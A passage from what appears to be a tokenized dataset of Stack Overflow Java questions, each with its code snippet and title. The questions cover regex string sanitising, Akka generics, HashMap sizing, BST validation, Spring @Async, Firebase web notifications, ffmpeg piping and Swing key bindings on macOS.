table is the fastest option by short margin . I 'll stick with this solution , because w/ the Normalizer one , I 'd still have to replace some chars by hand ( spaces into `` _ '' ) , then convert to lowercase.The tests were done in a Samsung Galaxy Tab v1 10.1.Please find attached the source code for the test cases . Guys , thank you very much for your suggestions : ) I love stackoverflow : )","public static String makeValidPathName ( String rawString ) { if ( rawString==null ) return null ; rawString = rawString.replaceAll ( `` [ ÁÀÂÄáàäaàáâãäå ] '' , '' a '' ) ; rawString = rawString.replaceAll ( `` æ '' , '' ae '' ) ; rawString = rawString.replaceAll ( `` çÇ '' , '' c '' ) ; rawString = rawString.replaceAll ( `` [ ÈÉÊËèéêë ] '' , '' e '' ) ; rawString = rawString.replaceAll ( `` [ ìíîïÍÌÎÏ ] '' , '' i '' ) ; rawString = rawString.replaceAll ( `` ñÑ '' , '' n '' ) ; rawString = rawString.replaceAll ( `` [ ÓÓÖÔòóôõö ] '' , '' o '' ) ; rawString = rawString.replaceAll ( `` œ '' , '' oe '' ) ; rawString = rawString.replaceAll ( `` [ ÙÚÛÜùúûü ] '' , `` u '' ) ; rawString = rawString.replaceAll ( `` [ ýÿ ] '' , '' y '' ) ; rawString= rawString.replaceAll ( `` [ ^a-z A-Z 0-9 \\_ \\+ ] '' , '' '' ) ; rawString = rawString.replaceAll ( `` `` , '' _ '' ) ; return rawString.toLowerCase ( ) ; } D/REPLACEMENT_TEST ( 18563 ) : *** Running Tests ( 1000 iterations ) D/REPLACEMENT_TEST ( 18563 ) : Original REGEX : 13533 msD/REPLACEMENT_TEST ( 18563 ) : Compiled REGEX : 12563 msD/REPLACEMENT_TEST ( 18563 ) : Character LUT : 1840 msD/REPLACEMENT_TEST ( 18563 ) : Java NORMALIZER : 2416 ms public class Misc { /* Test 2 ( @ WCChargin 's Regex compilation ) initialization */static Map < Pattern , String > patterns = new HashMap < Pattern , String > ( ) ; static { patterns.put ( Pattern.compile ( `` [ ÁÀÂÄáàäaàáâãäå ] '' ) , '' a '' ) ; patterns.put ( Pattern.compile ( `` æ '' ) , '' ae '' ) ; patterns.put ( Pattern.compile ( `` çÇ '' ) , '' c '' ) ; patterns.put ( Pattern.compile ( `` [ ÈÉÊËèéêë ] '' ) , '' e '' ) ; patterns.put ( Pattern.compile ( `` [ ìíîïÍÌÎÏ ] '' ) , '' i '' ) ; patterns.put ( Pattern.compile ( `` ñÑ '' ) , '' n '' ) ; patterns.put ( Pattern.compile ( `` [ ÓÓÖÔòóôõö ] '' ) , '' o '' ) ; patterns.put ( Pattern.compile ( `` œ '' ) , '' oe '' ) ; patterns.put ( Pattern.compile ( `` [ ÙÚÛÜùúûü ] '' ) , `` u '' ) ; patterns.put ( Pattern.compile ( `` [ ýÿ ] '' ) , '' y '' ) ; patterns.put ( Pattern.compile ( `` [ ^a-z A-Z 0-9 \\_ \\+ ] '' ) , '' '' ) ; patterns.put ( Pattern.compile ( `` `` ) , '' _ '' ) ; } /* Test 3 ( @ devconsole 's Lookup table ) initialization */static SparseArray < String > homeBrewPatterns=new SparseArray < String > ( ) ; /** helper function to fill the map where many different chars map to the same replacement */static void fillMap ( String chars , String replacement ) { for ( int i=0 , len=chars.length ( ) ; i < len ; i++ ) homeBrewPatterns.put ( chars.charAt ( i ) , replacement ) ; } static { // fill the sparsearray map with all possible substitutions : Any char code gets its equivalent , ie , ä- > a . a- > a . A- > a // this also does the toLowerCase automatically . If a char is not in the list , it is forbidden and we skip it . fillMap ( `` ÁÀÂÄáàäaàáâãäå '' , '' a '' ) ; fillMap ( `` æ '' , '' ae '' ) ; fillMap ( `` çÇ '' , '' c '' ) ; fillMap ( `` ÈÉÊËèéêë '' , '' e '' ) ; fillMap ( `` ìíîïÍÌÎÏ '' , '' i '' ) ; fillMap ( `` ñÑ '' , '' n '' ) ; fillMap ( `` ÓÓÖÔòóôõö '' , '' o '' ) ; fillMap ( `` œ '' , '' oe '' ) ; fillMap ( `` ÙÚÛÜùúûü '' , '' u '' ) ; fillMap ( `` ýÿ '' , '' y '' ) ; fillMap ( `` `` , '' _ '' ) ; for ( char c= ' a ' ; c < = ' z ' ; c++ ) fillMap ( `` '' +c , '' '' +c ) ; // fill standard ASCII lowercase - > same letter for ( char c= ' A ' ; c < = ' Z ' ; c++ ) fillMap ( `` '' +c , ( `` '' +c ) .toLowerCase ( ) ) ; // fill standard ASCII uppercase - > uppercase for ( char c= ' 0 ' ; c < = ' 9 ' ; c++ ) fillMap ( `` '' +c , '' '' +c ) ; // fill numbers } /** FUNCTION TO TEST # 1 : Original function , no pattern compilation */ public static String makeValidPathName ( String rawString ) { if ( rawString==null ) return null ; rawString = rawString.replaceAll ( `` [ ÁÀÂÄáàäaàáâãäå ] '' , '' a '' ) ; rawString = rawString.replaceAll ( `` æ '' , '' ae '' ) ; rawString = rawString.replaceAll ( `` çÇ '' , '' c '' ) ; rawString = rawString.replaceAll ( `` [ ÈÉÊËèéêë ] '' , '' e '' ) ; rawString = rawString.replaceAll ( `` [ ìíîïÍÌÎÏ ] '' , '' i '' ) ; rawString = rawString.replaceAll ( `` ñÑ '' , '' n '' ) ; rawString = rawString.replaceAll ( `` [ ÓÓÖÔòóôõö ] '' , '' o '' ) ; rawString = rawString.replaceAll ( `` œ '' , '' oe '' ) ; rawString = rawString.replaceAll ( `` [ ÙÚÛÜùúûü ] '' , `` u '' ) ; rawString = rawString.replaceAll ( `` [ ýÿ ] '' , '' y '' ) ; rawString = rawString.replaceAll ( `` [ ^a-z A-Z 0-9 \\_ \\+ ] '' , '' '' ) ; rawString = rawString.replaceAll ( `` `` , '' _ '' ) ; return rawString.toLowerCase ( ) ; } /** FUNCTION TO TEST # 2 : @ WCChargin 's suggestion : Compile patterns then iterate a map */public static String makeValidPathName_compiled ( String rawString ) { for ( Map.Entry < Pattern , String > e : patterns.entrySet ( ) ) { rawString=e.getKey ( ) .matcher ( rawString ) .replaceAll ( e.getValue ( ) ) ; } return rawString.toLowerCase ( ) ; } /** FUNCTION TO TEST # 3 : @ devconsole 's suggestion : Create a LUT with all equivalences then append to a stringbuilder */public static String makeValidPathName_lut ( String rawString ) { StringBuilder purified=new StringBuilder ( rawString.length ( ) ) ; // to avoid resizing String aux ; // to avoid creating objects inside the for for ( int i=0 , len=rawString.length ( ) ; i < len ; i++ ) { aux=homeBrewPatterns.get ( rawString.charAt ( i ) ) ; if ( aux ! =null ) purified.append ( aux ) ; } return purified.toString ( ) ; } /** FUNCTION TO TEST # 4 : @ Erik Pragt 's suggestion on the use of a Normalizer */public static String makeValidPathName_normalizer ( String rawString ) { return rawString == null ? null : Normalizer.normalize ( rawString , Form.NFD ) .replaceAll ( `` \\p { InCombiningDiacriticalMarks } + '' , `` '' ) ; } /** Test Runner as a Runnable , just do a Handler.post ( ) to run it */public static Runnable msStringReplacementTest=new Runnable ( ) { public void run ( ) { String XTAG= '' REPLACEMENT_TEST '' ; Log.d ( XTAG , `` *** Running Tests '' ) ; int ITERATIONS=1000 ; String [ ] holder=new String [ 4 ] ; /* http : //www.adhesiontext.com/ to generate dummy long text ... its late n im tired : ) */ String tester= '' e arte nací valse ojales i demediada cesé entrañan domó reo ere fiaréis cinesiterapia fina pronto mensuraré la desatufases adulantes toree fusca ramiro hez apolíneo insalvable atas no enorme mí ojo trola chao fas eh borda no consignataria uno ges no arenque ahuyento y daca pío veló tenle baúl ve birria filo rho fui tañe mean taz raicita alimentarías ano defunciones u reabráis repase apreciaran cantorales ungidas naftalina ex guió abomba o escribimos consultarás des usó saudí mercó yod aborrecieses guiri lupia ña adosado jeringara fe cabalgadura tú descasar diseñe amar limarme escobero latamente e oreó lujuria niñez fabularios da inviernen vejé estañarán dictará sil mírales emoción zar claudiquéis ó e ti ñ veintén dañen ríase esmeraras acató noté as mancharlos avisen chocarnos divertidas y relata nuera usé fié élitro baba upa cu enhornan da toa hechizase genesíacos sol fija aplicó gafa pi enes fin asé deal rolar recurran cacen ha id pis pisó democristiano oes eras lañó ch pino fijad ñ quita hondazos ñ determinad vid corearan corrompimiento pamema meso fofas ocio eco amagados pian bañarla balan cuatrimestrales pijojo desmandara merecedor nu asimiladores denunciándote jada ñudos por descifraseis oré pelote ro botó tu sí mejorado compatibilizaciones enyerba oyeses atinado papa borbón pe dé ñora semis prosada luces leí aconteciesen doy colmará o ve te modismos virola garbillen apostabas abstenido ha bajá le osar cima ají adormecéis ñu mohecí orden abrogándote dan acanilladas uta emú ha emporcara manila arribeña hollejo ver puntead ijadeáis chalanesca pechugón silbo arabescos e i o arenar oxidas palear ce oca enmaderen niñez acude topó aguanieves i aconsejaseis lago él roía grafito ceñir jopo nitritos mofe botáis nato compresores ñu asilo amerizan allanándola cuela ó han ice puya alta lío son de sebo antieconómicas alá aceza latitud faca lavé colocándolos concebirlo miserea ñus gro mearé enchivarse '' ; long time0=System.currentTimeMillis ( ) ; for ( int i=0 ; i < ITERATIONS ; i++ ) holder [ 0 ] =makeValidPathName ( tester ) ; // store in an array to avoid possible JIT optimizations long elapsed0=System.currentTimeMillis ( ) -time0 ; Log.d ( XTAG , `` Original REGEX : `` +elapsed0+ '' ms '' ) ; long time1=System.currentTimeMillis ( ) ; for ( int i=0 ; i < ITERATIONS ; i++ ) holder [ 1 ] =makeValidPathName_compiled ( tester ) ; // store in an array to avoid possible JIT optimizations long elapsed1=System.currentTimeMillis ( ) -time1 ; Log.d ( XTAG , `` Compiled REGEX : `` +elapsed1+ '' ms '' ) ; long time2=System.currentTimeMillis ( ) ; for ( int i=0 ; i < ITERATIONS ; i++ ) holder [ 2 ] =makeValidPathName_lut ( tester ) ; // store in an array to avoid possible JIT optimizations long elapsed2=System.currentTimeMillis ( ) -time2 ; Log.d ( XTAG , `` Character LUT : `` +elapsed2+ '' ms '' ) ; long time3=System.currentTimeMillis ( ) ; for ( int i=0 ; i < ITERATIONS ; i++ ) holder [ 3 ] =makeValidPathName_normalizer ( tester ) ; // store in an array to avoid possible JIT optimizations long elapsed3=System.currentTimeMillis ( ) -time3 ; Log.d ( XTAG , `` Java NORMALIZER : `` +elapsed3+ '' ms '' ) ; Log.d ( XTAG , `` Output 0 : `` +holder [ 0 ] ) ; Log.d ( XTAG , `` Output 1 : `` +holder [ 1 ] ) ; Log.d ( XTAG , `` Output 2 : `` +holder [ 2 ] ) ; Log.d ( XTAG , `` Output 3 : `` +holder [ 3 ] ) ; } } ;",can anybody suggest a faster alternative to this regex algorithm ? +Java,"Question 1 : The JVM does not know about generics , therefore type parameters in Scala ( and Java ) only exist at compile-time . They do n't exist at run-time . Since Akka is a Scala ( and Java ) framework , it suffers from this very shortcoming , too . It suffers from it in particular because in Akka , messages between actors are ( obviously ) only exchanged during run-time , so all the type arguments of those very messages are lost . Correct so far ? Question 2 : Say I defined the following case class that takes one type parameter : Now , I instantiate an Event [ Int ] ( 42 ) and send it to my testActor . Is it correct that my testActor basically receives an Event [ Any ] and has no idea of what type t is ? Question 3 : Say , inside my testActor there exists a function that also takes a type parameter : The testActor calls f when receiving an Event : To what will the type parameter T of f be set when the function is called like this ? Any ? If so , would the following function effectively be equivalent to the above ( assuming it would only get called like described above ) : Question 4 : Now , consider this definition of f : I did n't change the call-site : Should n't this always print Any to the console ? When I send an Event [ Int ] ( 42 ) to my testActor , it does print java.lang.Integer to the console , though . So the type information is n't erased after all ? I am confused .",case class Event [ T ] ( t : T ) def f [ T ] ( t : T ) = println ( t ) override def receive : Receive = { case Event ( t ) = > f ( t ) } def f2 ( t : Any ) = println ( t ) def f [ T ] ( t : T ) = println ( t.getClass ) override def receive : Receive = { case Event ( t ) = > f ( t ) },General Questions about Akka and Typesafety +Java,"I have a function that converts a list to a map . The map 's size wo n't change after this function is called . I 'm trying to decide between the following two implementations : In the first implementation , I 've allocated just enough memory for all the elements by using a load factor of 1 and the list 's size . This ensures that a resize operation wo n't be performed . Then , I iterate through the list and add elements one-by-one . In the second implementation , I use Java 8 streams for better readability.My question is : will the second implementation involve multiple resizes of the HashMap or has it been optimized to allocate just enough memory ?","Map < Long , Object > listToMap ( List < Object > objs ) { /* Implementation One : */ Map < Long , Object > map = new HashMap < > ( objs.size ( ) , 1 ) ; for ( Object obj : objs ) { map.put ( obj.getKey ( ) , obj ) ; } return map ; /* Implementation Two : */ return objs.stream ( ) .collect ( Collectors.toMap ( Object : :getKey , obj - > obj ) ) ; }",Memory Optimization of Java Collectors.toMap +Java,"This is my first question ever at StackOverFlow : I am studying to interviews with the help of `` Cracking the code interview '' ( 5th Edition ) book , and I was solving the next problem : Implement a function to check if a binary tree is a binary search tree ( Q 4.5 pg 86 ) .Before we move on , I would like just to remind you the difference between a Binary search tree to a simple Binary tree : A Binary search tree imposes the condition that for all nodes , the left children are less than or equal to the current node , which is less than all the right nodes.So one of the solution the book offers is to scan the tree with In-Order traversal and on the fly to check if every node we visit is greater then the last one , and it assumes the tree ca n't have a duplicate values : Now , up here everything is good , but then the book quotes : If you do n't like the use of static variables , then you can tweak this code to use a wrapper class for the integer , as shown below : After reading on wrapper class all over here and in other websites I just could n't come to the conclusion , why and how should I use the wrapper class here instead of the static variable ?",public static int last_printed = Integer.MIN_VALUE ; public static boolean checkBST ( TreeNode n ) { if ( n == null ) return true ; // Check / recurse left if ( ! checkBST ( n.left ) ) return false ; // Check current if ( n.data < = last_printed ) return false ; last_printed = n.data ; // Check / recurse right if ( ! checkBST ( n.right ) ) return false ; return true ; // All good ! } Class WrapInt { public int value ; },Using wrapper class instead of static variables +Java,"I just started with java about two months ago and I am trying to understand abstract classes more . I understand the basic idea of abstract and its implementation but what I do n't get is why an abstract class extends another abstract class and what functionalities does it add . Also , i saw an abstract class that extends another abstract class , but it implements only one function of the other abstract class.I did look up for example codes but they only show implementation with no explanation to them : As you see , the abstract class CondimentDecorator does not implement all the functions in Beverage abstract class . It only implements the getDescription ( ) function . But if the CondimentDecorator was concrete then it would be required to implement all the functions inside the Beverage abstract class .",public abstract class Beverage { String description = `` Beverage '' ; public String getDescription ( ) { return description ; } public abstract double cost ( ) ; } // abstract class CondimentDecorator public abstract class CondimentDecorator extends Beverage { @ Override public abstract String getDescription ( ) ; },What is the importance of abstract class that extends from another abstract class +Java,"Here in above code i am returning list of shops which consist details of every shop as per locality.So , my question is , can i add a success/error message while returning if i get the list of shops .","@ RequestMapping ( value = `` /SubmitStep1.json '' , method = RequestMethod.POST , headers = `` Accept=application/json , application/xml '' ) @ ResponseBody public List < ShopDetails > showShopList ( @ RequestBody ShopDetails shopDetails ) throws Exception { List < ShopDetails > shopDetailsList=new ArrayList < ShopDetails > ( ) ; shopDetailsList=dbq.getShopDetails ( shopDetails ) ; return shopDetailsList ; }",how to add success/error flag while returning list of object as a response +Java,"I 'm having a Java 8 stream of numbers : I 'd like to iterate the stream and invoke a specific consumer based on the type of each element . I.e . for Integer elements I 'd like to invoke a Consumer < Integer > , for Long a Consumer < Long > etc.There is the forEach ( ) method but this expects a Consumer < ? super Number > , requiring that implementation ( usually a Lambda expression ) to instanceof-switch on the exact type itself.In terms of an API , I 'm essentially looking for something like this : Is there any existing API which would allow me to register a specific consumer per stream element sub-type in a way similar to this ?","Stream < Number > numbers = ... ; numbers.forEach ( callbacks - > { callbacks.on ( Integer.class , i - > { /* handle Integer */ } ) ; callbacks.on ( Long.class , l - > { /* handle Long */ } ) } ) ;",Use specific consumer per element type with Java 8 stream +Java,"I was wondering if there is any performance difference between running a constructor from within a constructor ( aka . constructor delegation ) and not.Please do n't interpret this question as me supporting redundancy , like copying long constructors for a performance boost . I understand that in most cases , calling a constructor within a constructor is desirable for many reasons other than performance . ( Readability , for example ) As an example , this is a Vector3D class that I 've recently created : Will I benefit from not calling this ( 0 , 0 , 0 ) and simply setting the variables myself like this ?","public class Vector3D { public final int x , y , z ; public Vector3D ( ) { this ( 0 , 0 , 0 ) ; } public Vector3D ( int x , int y , int z ) { this.x = x ; this.y = y ; this.z = z ; } } public class Vector3D { public final int x , y , z ; public Vector3D ( ) { this.x = 0 ; this.y = 0 ; this.z = 0 ; } public Vector3D ( int x , int y , int z ) { this.x = x ; this.y = y ; this.z = z ; } }",Performance : Should I avoid constructor delegation ? +Java,"For the program below : I get the output as follows : The result that I got for -1 > > > 1 is 2147483647 . If it ’ s the sign bit that has to be shifted , as I learned , the result should be 1073741824 . Why is it 2147483647 then ? The following image illustrates my problem more clearly :",public class ZeroFillRightShift { public static void main ( String args [ ] ) { int x = -1 ; int y = x > > > 1 ; System.out.println ( `` x = `` + x ) ; System.out.println ( `` y = `` + y ) ; } x = -1y = 2147483647,Why is -1 zero fill right shift 1=2147483647 for integers in Java ? +Java,"I 've started developing an application in JavaFX and I 've run in an issue , I could find very little helpful information about : The spacing of between characters in Linux is very uneven . I 'm not talking about the width of different characters but of the spaces between the characters.It 's visible in normal text , but the following example illustrates the effect better than normal text . Take a look at the first row . The space between the first two characters is smaller than between the second and third . This also happens between the sixth and seventh character and several others : Swing does not have this problem and JavaFX does n't have this problem in Windows or it is barely visible on that OS . Neither does it appear to be a major issue on Mac . For comparison , here is a sample output on a Mac Retina MacBook Pro , mid-2014 , running OS X 10.12.6 and Java 9.0.4 : Does anyone know if this is a bug in JavaFX 's font rendering engine ? If so , is there a workaround ? I 'm really starting to wonder if I should change the framework as in my opinion such bad font rendering is not acceptable.There is another question regarding this issue but it has n't been answered , yet : Why does JavaFX add extra spacing between letters when using the Text component and how do I fix it ? I have been able reproduce this issue on two different Linux machines running Manjaro and in a virtual machine running Debian with the following code :","package de.localtoast.fonttest ; import javafx.application.Application ; import javafx.scene.Scene ; import javafx.scene.control.Label ; import javafx.scene.layout.VBox ; import javafx.stage.Stage ; public class FontTest extends Application { @ Override public void start ( Stage primaryStage ) { VBox root = new VBox ( ) ; Label label1 = new Label ( `` 0000000000000000000000 '' ) ; Label label2 = new Label ( `` OOOOOOOOOOOOOOOOOOOOOO '' ) ; Label label3 = new Label ( `` oooooooooooooooooooooo '' ) ; root.getChildren ( ) .add ( label1 ) ; root.getChildren ( ) .add ( label2 ) ; root.getChildren ( ) .add ( label3 ) ; Scene scene = new Scene ( root , 300 , 250 ) ; primaryStage.setTitle ( `` Font Test '' ) ; primaryStage.setScene ( scene ) ; primaryStage.show ( ) ; } public static void main ( String [ ] args ) { launch ( args ) ; } }",Bad character spacing ( kerning ) in JavaFX 's font rendering ( in Linux ) +Java,"I am using antlr v4 for extracting parse tree of java programs for other purposes . I have started from this sample : ANTLR v4 visitor sampleAnd I have tested the steps on given link to check if it works and everything gone right : And then I wrote my own to parse java programs as Structure below : And the Run.java is as below : But at the statement ParseTree tree = parser.getContext ( ) ; the tree object gets null.As I am new to antlr , any suggestions for me to check or any solution ? ( If more info is required , just notify me ) .TG .",java Runa = 1+2b = a^2c = a+b* ( a-1 ) a+b+c^ZResult : 33.0 |_Java.g4 |_Java.tokens |_JavaBaseVisitor.java |_JavaLexer.java |_JavaLexer.tokens |_JavaParser.java |_JavaTreeExtractorVisitor.java |_JavaVisitor.java |_Run.java import org.antlr.v4.runtime . * ; import org.antlr.v4.runtime.tree . * ; public class Run { public static void main ( String [ ] args ) throws Exception { CharStream input = CharStreams.fromFileName ( `` F : \\Projects\\Java\\Netbeans\\ASTProj\\JavaTreeExtractor\\prog.java '' ) ; JavaLexer lexer = new JavaLexer ( input ) ; CommonTokenStream tokens = new CommonTokenStream ( lexer ) ; JavaParser parser = new JavaParser ( tokens ) ; ParseTree tree = parser.getContext ( ) ; JavaTreeExtractorVisitor calcVisitor = new JavaTreeExtractorVisitor ( ) ; String result = calcVisitor.visit ( tree ) ; System.out.println ( `` Result : `` + result ) ; } },"ANTLR v4 , JavaLexer and JavaParser returning null as parse tree" +Java,"I want to have a method that will create an object of the class being and automatically name it `` b1 '' for the first object , `` b2 '' for the second , and so on . Can I use a String as the name of a new object ? If it 's possible , how do I do it ?",class being { static int count = 0 ; String name ; void createbeing ( ) { name = `` b '' + Integer.toString ( count ) ; being name = new being ( ) ; //Here I want to insert the String name as the name of the object count++ ; } },Naming a new object after a string ? +Java,"I have set up a webpage ( home.html ) that a user can sign into firebase using authentication . Once they authenticate , they are directed to a new page ( test.html ) . Once they are here , I want to be able to send a notification or data message.I am wondering if anyone can help me with the code to send a notification - any type of notification . I 've been on this for 3 days and can not send a notification from the web ! ! I ca n't find any tutorials on this - only people using curls.I have no idea how to handle the code below , which is supposed to be on how to send a notification to the devices subscribed to a topic . I am guessing that this is all JSON and needs to be put into a JSON object ? Please assume the Initialization is filled in , I removed all info - even though I think that information is supposed to be public.Thanks for any info ! This is my service worker ( so far ) : firebase-messaging.sw.jsThis is the app.js file that goes to the test.html pageAnd the barebones test.html file","// Give the service worker access to Firebase Messaging . // Note that you can only use Firebase Messaging here , other Firebase libraries // are not available in the service worker . importScripts ( 'https : //www.gstatic.com/firebasejs/4.3.1/firebase-app.js ' ) ; importScripts ( 'https : //www.gstatic.com/firebasejs/4.3.1/firebase-messaging.js ' ) ; // Initialize Firebase var config = { apiKey : `` '' , authDomain : `` '' , databaseURL : `` '' , projectId : `` '' , storageBucket : `` '' , messagingSenderId : `` '' } ; firebase.initializeApp ( config ) ; const messaging = firebase.messaging ( ) ; messaging.setBackgroundMessageHandler ( function ( payload ) { const title = `` Hello World '' ; const options = { body : payload.data.status } ; return self.registration.showNotification ( title , options ) ; } ) ; // Initialize Firebase var config = { apiKey : `` '' , authDomain : `` '' , databaseURL : `` '' , projectId : `` '' , storageBucket : `` '' , messagingSenderId : `` '' } ; firebase.initializeApp ( config ) ; // Retrieve Firebase Messaging object . const messaging = firebase.messaging ( ) ; messaging.requestPermission ( ) .then ( function ( ) { console.log ( 'Notification permission granted . ' ) ; return messaging.getToken ( ) ; } ) .then ( function ( token ) { console.log ( token ) ; } ) .catch ( function ( err ) { console.log ( 'Unable to get permission to notify . ' , err ) ; } ) messaging.onMessage ( function ( payload ) { console.log ( 'onMessage : ' , payload ) ; } ) ; < ! DOCTYPE html > < html > < head > < script src= '' https : //www.gstatic.com/firebasejs/4.3.1/firebase-app.js '' > < /script > < script src= '' https : //www.gstatic.com/firebasejs/4.3.1/firebase-messaging.js '' > < /script > < /head > < body > < script src= '' /scripts/app.js '' > < /script > < /body > < /html >",Firebase Cloud HTTP Message from Web +Java,"I have simple application which simulates money transfer from one account to another . I want to write a test that will show that it is not thread safe.There is a possibility that threads will go in such way that transfer will be done twice . Two threads scenario : acc1 = 1000 $ acc2 = 0 $ transfer 600 $ T1 : get acc1 balance ( 1000 ) T2 : get acc1 balance ( 1000 ) T1 : subtract 600 $ from account1 ( 400 ) T2 : subtract 600 $ from account2 ( 400 ) T1 : increase acc2 by 600 $ ( 600 ) T2 : increase acc2 by 600 $ ( 1200 ) Currently my application does n't support multithreading and it should fail , that is fine for me now . I am able to simulate error with debugger . However when I do thread test it 's always succesful . I tried with different number of threads , sleeps , callabletasksHere 's code for money transfer :","@ Test public void testTransfer ( ) throws AccountNotFoundException , NotEnoughMoneyException , InterruptedException { Callable < Boolean > callableTask = ( ) - > { try { moneyTransferService.transferMoney ( ACCOUNT_NO_1 , ACCOUNT_NO_2 , TRANSFER_AMOUNT ) ; return true ; } catch ( AccountNotFoundException | NotEnoughMoneyException e ) { e.printStackTrace ( ) ; return false ; } } ; List < Callable < Boolean > > callableTasks = new ArrayList < > ( ) ; int transferTries = 2 ; for ( int i = 0 ; i < = transferTries ; i++ ) { callableTasks.add ( callableTask ) ; } ExecutorService executorService = Executors.newFixedThreadPool ( 2 ) ; executorService.invokeAll ( callableTasks ) ; Assert.assertEquals ( ACCOUNT_BALANCE_1.subtract ( TRANSFER_AMOUNT ) , accountRepository.getByAccountNumber ( ACCOUNT_NO_1 ) .get ( ) .getBalance ( ) ) ; Assert.assertEquals ( ACCOUNT_BALANCE_2.add ( TRANSFER_AMOUNT ) , accountRepository.getByAccountNumber ( ACCOUNT_NO_2 ) .get ( ) .getBalance ( ) ) ; } public void transferMoney ( String accountFrom , String accountTo , BigDecimal amount ) throws AccountNotFoundException , NotEnoughMoneyException { Account fromAccount = getAccountByNumber ( accountFrom ) ; Account toAccount = getAccountByNumber ( accountTo ) ; if ( isBalanceSufficient ( amount , fromAccount ) ) { //TODO this should be thread safe and transactional BigDecimal fromNewAmount = fromAccount.getBalance ( ) .subtract ( amount ) ; fromAccount.setBalance ( fromNewAmount ) ; // it 's possible to fail junits with sleep but I dont want it in code obviously// Random random = new Random ( ) ; // try { // Thread.sleep ( random.nextInt ( 100 ) ) ; // } catch ( InterruptedException e ) { // // TODO Auto-generated catch block// e.printStackTrace ( ) ; // } BigDecimal toNewAmount = toAccount.getBalance ( ) .add ( amount ) ; toAccount.setBalance ( toNewAmount ) ; } else { throw new NotEnoughMoneyException ( `` Balance on account : `` + fromAccount.getNumber ( ) + `` is not sufficient to transfer : `` + amount ) ; //TODO add currency } }",Test if application is thread safe +Java,"I ca n't get this to run , because java just waits for ffmpeg . But ffmpeg does n't give an input- nor an error stream . It just runs , but doing nothing.The output of `` System.out.println ( `` command : .. '' insert into bash just runs fine as expected.So there is nothing wrong with the ffmpeg syntax.Here 's the code .","package mypackage ; import java.awt.image.BufferedImage ; import java.io.BufferedReader ; import java.io.IOException ; import java.io.InputStreamReader ; import javax.imageio.ImageIO ; /** * * @ author test */public class ffmpeg_hang { /** * @ param args the command line arguments */ public static void main ( String [ ] args ) throws IOException , InterruptedException { String INPUT_FILE= '' /path/to/media '' ; String FFMPEG_PATH= '' /path/to/ffmpegFolder/ '' ; for ( int i=0 ; ( i+4 ) < 40 ; i+=4 ) { String [ ] ffmpeg_pipe = new String [ ] { FFMPEG_PATH + `` ffmpeg_4.1.1 '' , `` -ss '' , ( i+ '' '' ) , '' -t '' , `` 4 '' , `` -i '' , INPUT_FILE , `` -ac '' , `` 1 '' , `` -acodec '' , `` pcm_s16le '' , `` -ar '' , `` 16000 '' , `` -f '' , '' nut '' , '' - '' , '' | '' , FFMPEG_PATH + `` ffmpeg_4.1.1 '' , `` -i '' , '' - '' , `` -lavfi '' , `` showspectrumpic=s=128x75 : legend=disabled : saturation=0 : stop=8000 '' , `` -f '' , '' image2pipe '' , '' pipe:1 '' } ; System.out.println ( `` command : `` +String.join ( `` `` , ffmpeg_pipe ) ) ; Process p ; //ffmpe wav- > pipe- > spectrogra- > pipe- > java p = Runtime.getRuntime ( ) .exec ( ffmpeg_pipe ) ; StringBuilder Boxbuffer = new StringBuilder ( ) ; BufferedReader reader = new BufferedReader ( new InputStreamReader ( p.getErrorStream ( ) ) ) ; String line = `` '' ; while ( ( line = reader.readLine ( ) ) ! = null ) { Boxbuffer.append ( line ) ; } System.out.println ( `` ffmpeg errors- > > `` +Boxbuffer.toString ( ) ) ; p.waitFor ( ) ; BufferedImage image = ImageIO.read ( p.getInputStream ( ) ) ; //do stuff with image } } }",Java execute ffmpeg commands with ( pipe ) `` ... -f nut - | ffmpeg -i - ... '' just hangs +Java,"I 'm trying to call a method in Spring-powered bean asynchronously using @ Async . I defined an executor in XML : and here is my method : And the method does not get called at all when I use qualifier ( emailTasksExecutor ) . However , if I remove it , everything works ok . But in this case the default executor is used and I need to change this behaviour.I thought the problem is that my class does not implement any interfaces , and something went wrong with proxies . But extracting the interface did not help .",< task : executor id= '' emailTasksExecutor '' pool-size= '' 1 '' / > @ Override @ Async ( `` emailTasksExecutor '' ) public void sendEmail ( ) { ... },@ Async does not work with task : executor +Java,"I have a Singleton Data class , which I use to store data . I 'm accessing it in different Fragments.When the first Fragment is loaded , it 's no problem that all fields in the Singleton are null . When the second Fragment is shown , it depends on these fields to show its data . The first Fragment ensures these fields are initialized.However , when the user presses the home button in the second Fragment , and opens it again after like an hour or so , the Singleton has lost all its data , and the Fragment tries to access null fields.I wanted to implement the onSaveInstanceState method , but I 'm stumped on how this works - I have no instance of the data to assign it to.Any help is welcome .","@ Overridepublic void onSaveInstanceState ( Bundle outState ) { super.onSaveInstanceState ( outState ) ; outState.putSerializable ( `` DATA '' , Data.getInstance ( ) ) ; } @ Overridepublic void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; savedInstanceState.getSerializable ( `` DATA '' ) ; //What to do with this ? }",OnSaveInstanceState with Singleton +Java,i started today learning delphi.i m wondering if there is a way to make a delphi code like mine on java using the for each with array of objects.there is my java code : thanks .,"class test { public static void main ( String [ ] args ) { String [ ] names= { `` ali '' , '' samad '' , '' kamel '' , '' djamel '' , '' mustapha '' } ; for ( String name : names ) { System.out.println ( `` user : '' +name ) ; } } }",Is there a way in delphi ( Pascal object ) to make a for each like in java ? +Java,"I 'm working on a game using Swing and I 'm using KeyBindings for input from the keyboard.I 'm having issues where the KeyBindings stop responding . It happens every time I run the application , but as far as I can tell , it 's not when a certain chain of events occurs . The KeyBindings just stop receiving input from the keyboard . I also use mouse input , which continues to work , so I know it 's not related to input in general.Some things I 've tried : made sure my object was not garbage collectedlooked for a certain reason the issue occurs ( ex : after a certain amount of time , a certain key combination pressed ) , to which I could find nonetried to use a KeyListener insteadNone of these worked.I then copied the project ( without changing any code ) to a windows machine , and after testing , I could not get the problem to occur once . I did n't paste code here because I 'm 99 % positive this is not related to my code , but related to the operating system it 's running on.Is this a problem with the macOS , or the JDK for Mac , or something else I do n't know about ? I 'm using JDK version 8 update 112 , the computer is running macOS Sierra version 10.12.2.It seems someone else had the same problem I now do , but they never got an answer.EDITHere 's a code example where the problem occurs :","import java.awt.Dimension ; import java.awt.Graphics ; import java.awt.event.ActionEvent ; import java.awt.event.ActionListener ; import java.awt.event.KeyEvent ; import java.awt.image.BufferedImage ; import javax.swing.AbstractAction ; import javax.swing.Action ; import javax.swing.ActionMap ; import javax.swing.InputMap ; import javax.swing.JFrame ; import javax.swing.JPanel ; import javax.swing.KeyStroke ; import javax.swing.SwingUtilities ; import javax.swing.Timer ; //an example of the problem where the keyboard stops receiving input 